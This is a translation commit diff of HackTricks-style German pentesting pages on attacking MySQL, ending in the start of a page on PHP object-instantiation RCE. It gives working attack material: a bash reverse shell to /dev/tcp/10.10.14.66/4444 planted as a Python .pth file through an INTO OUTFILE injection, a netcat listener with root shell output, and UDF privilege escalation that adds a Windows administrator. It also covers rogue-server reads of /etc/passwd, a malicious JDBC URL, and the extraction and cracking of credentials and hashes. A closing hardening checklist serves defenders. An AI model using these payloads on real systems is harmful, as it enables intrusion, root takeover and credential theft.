Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/netw

This commit is contained in:
Translator 2025-09-03 19:11:40 +00:00
parent aac252e6d4
commit 4c9bdf35e5
6 changed files with 609 additions and 553 deletions

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## **Grundlegende Informationen**
## **Basic Information**
**MySQL** kann als ein Open-Source **Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der **Structured Query Language (SQL)**, die die Verwaltung und Manipulation von Datenbanken ermöglicht.
**MySQL** kann als ein Open-Source-**Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es verwendet die **Structured Query Language (SQL)** und ermöglicht die Verwaltung und Manipulation von Datenbanken.
**Standardport:** 3306
```
@ -17,14 +17,14 @@
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### Fernzugriff
### Remote
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## Externe Enumeration
Einige der Enumerationsaktionen erfordern gültige Anmeldeinformationen.
Einige der Enumeration-Aktionen erfordern gültige Anmeldedaten
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Schreiben Sie beliebige Binärdaten
### Beliebige Binärdaten schreiben
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQL Berechtigungsenumeration
### MySQL-Berechtigungsaufzählung
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
Siehe in den Dokumenten die Bedeutung jedes Privilegs: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
In der Dokumentation können Sie die Bedeutung jeder Berechtigung sehen: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL File RCE
@ -110,35 +110,35 @@ Siehe in den Dokumenten die Bedeutung jedes Privilegs: [https://dev.mysql.com/do
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (sitespezifische Konfigurations-Hooks)
#### INTO OUTFILE → Python `.pth` RCE (site-spezifische Konfigurations-Hooks)
Durch den Missbrauch des klassischen `INTO OUTFILE` Primitivs ist es möglich, *willkürliche Codeausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen.
Durch Ausnutzung des klassischen `INTO OUTFILE`-Primitives ist es möglich, *beliebige Codeausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen.
1. Verwenden Sie `INTO OUTFILE`, um eine benutzerdefinierte **`.pth`**-Datei in ein beliebiges Verzeichnis abzulegen, das automatisch von `site.py` geladen wird (z. B. `.../lib/python3.10/site-packages/`).
2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von willkürlichem Python-Code, der jedes Mal ausgeführt wird, wenn der Interpreter gestartet wird.
3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird die Payload mit den gleichen Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → vollständige Pre-Auth RCE).
1. Verwende `INTO OUTFILE`, um eine benutzerdefinierte **`.pth`**-Datei in ein Verzeichnis abzulegen, das automatisch von `site.py` geladen wird (z. B. `.../lib/python3.10/site-packages/`).
2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von beliebigem Python-Code, der bei jedem Start des Interpreters ausgeführt wird.
3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird die Payload mit denselben Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → vollständiges pre-auth RCE).
Beispiel `.pth` Payload (einzelne Zeile, keine Leerzeichen können in der finalen SQL-Payload enthalten sein, daher sind hex/`UNHEX()` oder String-Konkatenation möglicherweise erforderlich):
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Beispiel für das Erstellen der Datei durch eine **UNION**-Abfrage (Leerzeichen durch `/**/` ersetzt, um einen `sscanf("%128s")`-Leerzeichenfilter zu umgehen und die Gesamtlänge ≤128 Bytes zu halten):
Beispiel, wie die Datei durch eine **UNION** query erstellt wird (Leerzeichen durch `/**/` ersetzt, um einen `sscanf("%128s")`-Leerzeichenfilter zu umgehen und die Gesamtlänge ≤128 bytes zu halten):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Wichtige Einschränkungen & Umgehungen:
* `INTO OUTFILE` **kann vorhandene** Dateien nicht überschreiben; wählen Sie einen neuen Dateinamen.
* Der Dateipfad wird **relativ zum CWD von MySQL** aufgelöst, daher hilft das Präfix `../../`, um den Pfad zu verkürzen und Einschränkungen bei absoluten Pfaden zu umgehen.
* Wenn die Angreifer-Eingabe mit `%128s` (oder ähnlich) extrahiert wird, wird jede Leerzeile die Payload abschneiden; verwenden Sie MySQL-Kommentarsequenzen `/**/` oder `/*!*/`, um Leerzeichen zu ersetzen.
* Der MySQL-Benutzer, der die Abfrage ausführt, benötigt das `FILE`-Privileg, aber in vielen Geräten (z.B. FortiWeb) läuft der Dienst als **root**, was fast überall Schreibzugriff gewährt.
* `INTO OUTFILE` **kann vorhandene Dateien nicht überschreiben**; wähle einen neuen Dateinamen.
* Der Dateipfad wird **relativ zum CWD von MySQL** aufgelöst, daher hilft das Voranstellen von `../../`, um den Pfad zu verkürzen und absolute Pfad-Einschränkungen zu umgehen.
* Wenn die Angreifer-Eingabe mit `%128s` (oder ähnlich) extrahiert wird, wird jedes Leerzeichen die Nutzlast abschneiden; verwende MySQL-Kommentarsequenzen `/**/` oder `/*!*/`, um Leerzeichen zu ersetzen.
* Der MySQL-Benutzer, der die Abfrage ausführt, benötigt das `FILE`-Privileg, aber in vielen Appliances (z. B. FortiWeb) läuft der Service als **root**, wodurch Schreibzugriff fast überall möglich ist.
Nachdem die `.pth` abgelegt wurde, fordern Sie einfach ein CGI an, das vom Python-Interpreter verarbeitet wird, um Codeausführung zu erhalten:
Nachdem die `.pth` abgelegt wurde, rufe einfach ein beliebiges CGI auf, das vom python-Interpreter verarbeitet wird, um Codeausführung zu erhalten:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Der Python-Prozess wird die bösartige `.pth` automatisch importieren und die Shell-Nutzlast ausführen.
Der Python-Prozess importiert die bösartige `.pth` automatisch und führt das shell payload aus.
```
# Attacker
$ nc -lvnp 4444
@ -147,22 +147,23 @@ uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL willkürliches Lesen von Dateien durch den Client
Tatsächlich, wenn Sie versuchen, **Daten lokal in eine Tabelle zu laden**, fragt der MySQL- oder MariaDB-Server den **Client, um sie zu lesen** und den Inhalt zu senden. **Wenn Sie dann einen MySQL-Client manipulieren können, um sich mit Ihrem eigenen MySQL-Server zu verbinden, können Sie willkürliche Dateien lesen.**\
Bitte beachten Sie, dass dies das Verhalten ist, das Sie verwenden:
## MySQL: Beliebiges Dateilesen durch den Client
Tatsächlich, wenn du versuchst, **load data local into a table** den **Inhalt einer Datei** zu laden, fordert der MySQL- oder MariaDB-Server den **Client auf, sie zu lesen** und den Inhalt zu senden. **Wenn du einen mysql client manipulieren kannst, damit er sich mit deinem eigenen MySQL-Server verbindet, kannst du beliebige Dateien lesen.**\
Bitte beachte, dass dies das Verhalten ist, wenn verwendet wird:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Achten Sie auf das Wort "local")\
Denn ohne das "local" können Sie Folgendes erhalten:
(Beachte das Wort "local")\
Ohne das Wort "local" kann man Folgendes erhalten:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In diesem Papier finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn auf RCE erweitern kann:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Initialer PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In diesem Paper finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn zu RCE erweitern kann:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Hier finden Sie eine Übersicht über den Angriff:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -173,23 +174,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Mysql Benutzer
Es wird sehr interessant sein, wenn mysql als **root** läuft:
Es ist sehr interessant, wenn mysql als **root** läuft:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### Gefährliche Einstellungen von mysqld.cnf
In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um deren Betrieb und Sicherheitsmaßnahmen zu definieren:
In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen genutzt, um Betrieb und Sicherheit festzulegen:
- Die **`user`**-Einstellung wird verwendet, um den Benutzer zu benennen, unter dem der MySQL-Dienst ausgeführt wird.
- **`password`** wird angewendet, um das Passwort des MySQL-Benutzers festzulegen.
- **`admin_address`** gibt die IP-Adresse an, die auf TCP/IP-Verbindungen über die administrative Netzwerkschnittstelle hört.
- Die **`debug`**-Variable zeigt die aktuellen Debugging-Konfigurationen an, einschließlich sensibler Informationen in Protokollen.
- **`sql_warnings`** verwaltet, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten.
- Mit **`secure_file_priv`** wird der Umfang von Datenimport- und -exportoperationen eingeschränkt, um die Sicherheit zu erhöhen.
- Die **`user`**-Einstellung legt den Benutzer fest, unter dem der MySQL-Dienst ausgeführt wird.
- Mit **`password`** wird das Passwort des MySQL-Benutzers festgelegt.
- **`admin_address`** gibt die IP-Adresse an, die auf dem administrativen Netzwerkinterface für TCP/IP-Verbindungen lauscht.
- Die **`debug`**-Variable zeigt die aktuellen Debug-Konfigurationen an, die sensible Informationen in Logs enthalten können.
- Mit **`sql_warnings`** wird gesteuert, ob Informationsstrings für INSERT-Anweisungen mit einer Zeile erzeugt werden, wenn Warnungen auftreten — diese können sensible Daten in den Logs enthalten.
- Mit **`secure_file_priv`** wird der Umfang von Import- und Export-Operationen eingeschränkt, um die Sicherheit zu erhöhen.
### Privilegieneskalation
### Privilege escalation
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -207,18 +208,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### Privilegieneskalation über Bibliothek
### Privilege Escalation via library
Wenn der **mysql-Server als root** (oder ein anderer privilegierter Benutzer) läuft, können Sie ihn dazu bringen, Befehle auszuführen. Dazu müssen Sie **benutzerdefinierte Funktionen** verwenden. Um eine benutzerdefinierte Funktion zu erstellen, benötigen Sie eine **Bibliothek** für das Betriebssystem, auf dem mysql läuft.
Wenn der **mysql server is running as root** (oder ein anderer, höher privilegierter Benutzer), können Sie ihn dazu bringen, Befehle auszuführen. Dafür müssen Sie **user defined functions** verwenden. Und um eine user defined zu erstellen, benötigen Sie eine **library** für das OS, auf dem mysql läuft.
Die bösartige Bibliothek, die verwendet werden kann, befindet sich in sqlmap und in metasploit, indem Sie **`locate "*lib_mysqludf_sys*"`** ausführen. Die **`.so`**-Dateien sind **Linux**-Bibliotheken und die **`.dll`** sind die **Windows**-Dateien, wählen Sie die, die Sie benötigen.
Die bösartige library, die verwendet werden kann, finden Sie in sqlmap und in metasploit, indem Sie **`locate "*lib_mysqludf_sys*"`** ausführen. Die **`.so`**-Dateien sind **linux** libraries und die **`.dll`** sind die **Windows**-Versionen — wählen Sie die, die Sie benötigen.
Wenn Sie diese Bibliotheken **nicht haben**, können Sie entweder **nach ihnen suchen** oder diesen [**linux C-Code**](https://www.exploit-db.com/exploits/1518) herunterladen und **in der verwundbaren Linux-Maschine kompilieren**:
Wenn Sie diese libraries **nicht haben**, können Sie entweder **danach suchen**, oder diesen [**linux C code**](https://www.exploit-db.com/exploits/1518) herunterladen und **compile it inside the linux vulnerable machine**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Jetzt, da Sie die Bibliothek haben, melden Sie sich als privilegierter Benutzer (root?) in Mysql an und folgen Sie den nächsten Schritten:
Jetzt, da Sie die Bibliothek haben, melden Sie sich im Mysql als privilegierter Benutzer (root?) an und befolgen Sie die nächsten Schritte:
#### Linux
```sql
@ -252,29 +253,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### Extrahieren von MySQL-Anmeldeinformationen aus Dateien
#### Windows-Tipp: Verzeichnisse mit NTFS ADS aus SQL erstellen
In _/etc/mysql/debian.cnf_ finden Sie das **Klartext-Passwort** des Benutzers **debian-sys-maint**.
Unter NTFS kann man die Erstellung von Verzeichnissen mittels eines alternate data stream erzwingen, selbst wenn nur eine file write primitive existiert. Wenn die classic UDF chain ein `plugin`-Verzeichnis erwartet, dieses aber nicht existiert und `@@plugin_dir` unbekannt oder gesperrt ist, kann man es zuerst mit `::$INDEX_ALLOCATION` erstellen:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Dies verwandelt das eingeschränkte `SELECT ... INTO OUTFILE` in ein umfassenderes Primitiv auf Windows-Stacks, indem die für UDF drops benötigte Ordnerstruktur erstellt wird.
### MySQL-Zugangsdaten aus Dateien extrahieren
In _/etc/mysql/debian.cnf_ findet man das **Klartext-Passwort** des Benutzers **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
Sie können **diese Anmeldeinformationen verwenden, um sich in der MySQL-Datenbank anzumelden**.
Du kannst **diese credentials verwenden, um dich in die mysql database einzuloggen**.
In der Datei: _/var/lib/mysql/mysql/user.MYD_ finden Sie **alle Hashes der MySQL-Benutzer** (die, die Sie aus mysql.user innerhalb der Datenbank extrahieren können)_._
In der Datei: _/var/lib/mysql/mysql/user.MYD_ findest du **alle hashes der MySQL-Benutzer** (die du aus mysql.user innerhalb der Datenbank extrahieren kannst)_._
Sie können sie extrahieren, indem Sie:
Du kannst sie extrahieren, indem du:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Aktivierung des Loggings
### Logging aktivieren
Sie können das Logging von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem Sie die folgenden Zeilen auskommentieren:
Du kannst das Logging von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem du die Kommentare in den folgenden Zeilen entfernst:
![](<../images/image (899).png>)
### Nützliche Dateien
Konfigurationsdateien
Configuration Files
- windows \*
- config.ini
@ -289,14 +299,14 @@ Konfigurationsdateien
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Befehlshistorie
- Command History
- \~/.mysql.history
- Protokolldateien
- Log Files
- connections.log
- update.log
- common.log
## Standard MySQL-Datenbank/Tabellen
## Standard MySQL Datenbank/Tabellen
{{#tabs}}
{{#tab name="information_schema"}}
@ -601,7 +611,7 @@ x$statements\_with\_errors\_or\_warnings\
x$statements_with_full_table_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements_with_sorting\
x$statements\_with\_temp\_tables\
x$statements_with_temp_tables\
x$user_summary\
x$user\_summary\_by\_file\_io\
x$user_summary_by_file_io_type\
@ -616,7 +626,7 @@ x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}
## HackTricks Automatische Befehle
## HackTricks automatische Befehle
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
@ -647,36 +657,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (neu)
## 2023-2025 Höhepunkte (neu)
### JDBC `propertiesTransform` Deserialisierung (CVE-2023-21971)
Von Connector/J <= 8.0.32 kann ein Angreifer, der die **JDBC-URL** beeinflussen kann (zum Beispiel in Drittanbieter-Software, die nach einer Verbindungszeichenfolge fragt), beliebige Klassen anfordern, die auf der *Client*-Seite über den Parameter `propertiesTransform` geladen werden. Wenn ein Gadget, das im Klassenpfad vorhanden ist, ladbar ist, führt dies zu **Remote-Code-Ausführung im Kontext des JDBC-Clients** (pre-auth, da keine gültigen Anmeldeinformationen erforderlich sind). Ein minimales PoC sieht so aus:
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Ab Connector/J <= 8.0.32 kann ein Angreifer, der die **JDBC URL** beeinflussen kann (z. B. in Drittanbieter-Software, die nach einer Verbindungszeichenfolge fragt), über den `propertiesTransform`-Parameter verlangen, dass beliebige Klassen auf der *client* side geladen werden. Wenn ein auf dem class-path vorhandenes gadget geladen werden kann, führt das zu **remote code execution in the context of the JDBC client** (pre-auth, da keine gültigen Zugangsdaten erforderlich sind). Ein minimales PoC sieht wie folgt aus:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Das Ausführen von `Evil.class` kann so einfach sein wie das Bereitstellen im Klassenpfad der verwundbaren Anwendung oder das Zulassen eines bösartigen MySQL-Servers, der ein schädliches serialisiertes Objekt sendet. Das Problem wurde in Connector/J 8.0.33 behoben aktualisieren Sie den Treiber oder setzen Sie `propertiesTransform` explizit auf eine Zulassungsliste.
(Siehe Snyk-Bericht für Details)
Das Ausführen von `Evil.class` kann so einfach sein wie das Platzieren auf dem Classpath der verwundbaren Anwendung oder das Zulassen, dass ein bösartiger MySQL-Server ein bösartiges serialisiertes Objekt sendet. Das Problem wurde in Connector/J 8.0.33 behoben aktualisiere den Treiber oder setze explizit `propertiesTransform` auf eine allow-list.
(Siehe Snyk-Write-up für Details)
### Angriffe von bösartigen / gefälschten MySQL-Servern gegen JDBC-Clients
Mehrere Open-Source-Tools implementieren ein *teilweises* MySQL-Protokoll, um JDBC-Clients anzugreifen, die nach außen verbinden:
### Bösartige / gefälschte MySQL-Server-Angriffe gegen JDBC-Clients
Mehrere Open-Source-Tools implementieren ein *partielles* MySQL-Protokoll, um JDBC-Clients anzugreifen, die nach außen verbinden:
* **mysql-fake-server** (Java, unterstützt Datei-Lese- und Deserialisierungs-Exploits)
* **rogue_mysql_server** (Python, ähnliche Fähigkeiten)
* **rogue_mysql_server** (Python, ähnliche Möglichkeiten)
Typische Angriffswege:
Typische Angriffsabläufe:
1. Die Opferanwendung lädt `mysql-connector-j` mit `allowLoadLocalInfile=true` oder `autoDeserialize=true`.
2. Der Angreifer kontrolliert DNS / Host-Eintrag, sodass der Hostname der DB auf eine Maschine unter seiner Kontrolle aufgelöst wird.
3. Der bösartige Server antwortet mit gestalteten Paketen, die entweder `LOCAL INFILE` willkürliches Datei-Lesen oder Java-Deserialisierung → RCE auslösen.
3. Der bösartige Server antwortet mit manipulierten Paketen, die entweder `LOCAL INFILE`-basiertes beliebiges Dateilesen oder Java-Deserialisierung auslösen → RCE.
Beispiel für einen Einzeiler zum Starten eines gefälschten Servers (Java):
Beispiel-Einzeiler, um einen gefälschten Server zu starten (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Dann weisen Sie die Opferanwendung auf `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` und lesen Sie `/etc/passwd`, indem Sie den Dateinamen im *Benutzernamen*-Feld als base64 kodieren (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
Zeige die Zielanwendung dann auf `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` und lese `/etc/passwd`, indem du den Dateinamen im *username*-Feld als Base64 kodierst (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Knacken von `caching_sha2_password`-Hashes
MySQL ≥ 8.0 speichert Passwort-Hashes als **`$mysql-sha2$`** (SHA-256). Sowohl Hashcat (Modus **21100**) als auch John-the-Ripper (`--format=mysql-sha2`) unterstützen das Offline-Knacken seit 2023. Dumpen Sie die `authentication_string`-Spalte und füttern Sie sie direkt ein:
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 speichert Passwort-Hashes als **`$mysql-sha2$`** (SHA-256). Sowohl Hashcat (mode **21100**) als auch John-the-Ripper (`--format=mysql-sha2`) unterstützen seit 2023 offline cracking. Exportiere die `authentication_string`-Spalte und füttere sie direkt:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -685,20 +695,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Hardening checklist (2025)
• Setze **`LOCAL_INFILE=0`** und **`--secure-file-priv=/var/empty`**, um die meisten Datei-Lese-/Schreib-Primitiven zu deaktivieren.
• Entferne das **`FILE`**-Privileg von Anwendungsaccounts.
Setze bei Connector/J `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leer).
• Deaktiviere ungenutzte Authentifizierungs-Plugins und **erfordere TLS** (`require_secure_transport = ON`).
• Überwache `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` und plötzliche `SET GLOBAL`-Anweisungen.
### Härtungs-Checkliste (2025)
• Setzen Sie **`LOCAL_INFILE=0`** und **`--secure-file-priv=/var/empty`**, um die meisten Datei-Lese/-Schreib-Primitiven zu unterbinden.
• Entfernen Sie das **`FILE`**-Privileg von Anwendungskonten.
Bei Connector/J setzen Sie `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leer).
• Deaktivieren Sie ungenutzte Authentifizierungs-Plugins und **erzwingen Sie TLS** (`require_secure_transport = ON`).
• Überwachen Sie auf `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` und plötzliche `SET GLOBAL`-Anweisungen.
---
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,18 +1,18 @@
# PHP - RCE durch Ausnutzung der Objekterstellung: new $\_GET\["a"]\($\_GET\["b"])
# PHP - RCE durch Ausnutzung der Objekt-Erstellung: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
Dies ist im Grunde eine Zusammenfassung von [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
Dies ist im Wesentlichen eine Zusammenfassung von [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Einführung
Die Erstellung neuer willkürlicher Objekte, wie `new $_GET["a"]($_GET["a"])`, kann zu Remote Code Execution (RCE) führen, wie in einem [**Writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) detailliert beschrieben. Dieses Dokument hebt verschiedene Strategien zur Erreichung von RCE hervor.
Die Erstellung neuer beliebiger Objekte, wie `new $_GET["a"]($_GET["a"])`, kann zu Remote Code Execution (RCE) führen, wie in einem [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beschrieben. Dieses Dokument stellt verschiedene Strategien zur Erreichung von RCE vor.
## RCE über benutzerdefinierte Klassen oder Autoloading
## RCE via Custom Classes or Autoloading
Die Syntax `new $a($b)` wird verwendet, um ein Objekt zu instanziieren, wobei **`$a`** den Klassennamen und **`$b`** das erste Argument darstellt, das an den Konstruktor übergeben wird. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Strings oder Arrays sein können, oder aus JSON, wo sie als andere Typen erscheinen könnten.
Die Syntax `new $a($b)` wird verwendet, um ein Objekt zu instanziieren, wobei **`$a`** den Klassennamen darstellt und **`$b`** das erste Argument ist, das an den Konstruktor übergeben wird. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Strings oder Arrays sein können, oder aus JSON, wo sie als andere Typen auftreten können.
Betrachten Sie den folgenden Codeausschnitt:
Betrachte den folgenden Codeausschnitt:
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
In diesem Fall führt das Setzen von `$a` auf `App` oder `App2` und `$b` auf einen Systembefehl (z.B. `uname -a`) zur Ausführung dieses Befehls.
In diesem Fall führt das Setzen von `$a` auf `App` oder `App2` und `$b` auf einen Systembefehl (z. B. `uname -a`) zur Ausführung dieses Befehls.
**Autoloading-Funktionen** können ausgenutzt werden, wenn solche Klassen nicht direkt zugänglich sind. Diese Funktionen laden automatisch Klassen aus Dateien, wenn sie benötigt werden, und werden mit `spl_autoload_register` oder `__autoload` definiert:
**Autoloading-Funktionen** können ausgenutzt werden, wenn solche Klassen nicht direkt zugänglich sind. Diese Funktionen laden Klassen automatisch aus Dateien, wenn sie benötigt werden, und werden mit `spl_autoload_register` oder `__autoload` definiert:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -49,48 +49,72 @@ Das Verhalten des Autoloadings variiert je nach PHP-Version und bietet unterschi
## RCE über eingebaute Klassen
Ohne benutzerdefinierte Klassen oder Autoloader können **eingebaute PHP-Klassen** für RCE ausreichen. Die Anzahl dieser Klassen liegt je nach PHP-Version und Erweiterungen zwischen 100 und 200. Sie können mit `get_declared_classes()` aufgelistet werden.
Fehlen eigene Klassen oder Autoloader, können **eingebaute PHP-Klassen** für RCE ausreichen. Die Anzahl dieser Klassen liegt je nach PHP-Version und installierten Erweiterungen zwischen etwa 100 und 200. Sie lassen sich mit `get_declared_classes()` auflisten.
